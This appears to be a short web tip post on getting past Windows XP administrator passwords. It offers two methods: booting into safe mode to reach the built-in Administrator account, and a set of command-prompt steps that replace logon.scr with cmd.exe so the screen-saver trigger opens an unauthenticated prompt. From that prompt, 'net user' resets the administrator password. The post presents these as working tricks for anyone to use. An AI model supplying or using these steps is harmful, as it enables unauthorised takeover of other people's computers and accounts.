Forgot our Windows XP Admin Pa*sword?

When we or anyone installs Windows XP for the first time our asked to put in your username and up to five others. Now, unknown to a lot of other people this is the only place in Windows XP that we can password the default Administrator Diagnostic Account. This means that to by pass most administrators accounts on Windows XP all you have to do is boot to safe mode by pressing F8 during boot up and choosing it. Log into the Administrator Account and create your own or change the password on the current Account.

This only works if the user on setup specified a password for the Administrator Account. This has worked for me on both Windows XP Home and Pro.
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Now this one seems to be machine dependant, it works randomly(don't know why). If we log into a limited account on our computer and open up a dos prompt
then enter this set of commands .


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cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir windows_tips *creates the folder windows_tips
copy logon.scr windows_tips\logon.scr *backup logon.scr
copy cmd.exe windows_tips\cmd.exe *backup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quites dos
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Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the computer boots the
screen saver we will get an unprotected dos prompt with out logging into XP.
Once this happens if we enter this command minus the quotes
"net user pas*word"
If the Administrator Account is called windows-tips and we want the password windows-tips-trick enter this
"net user windows-tips windows-tips-trick"
and this changes the password on windows-tips computer to windows-tips-trick and we in.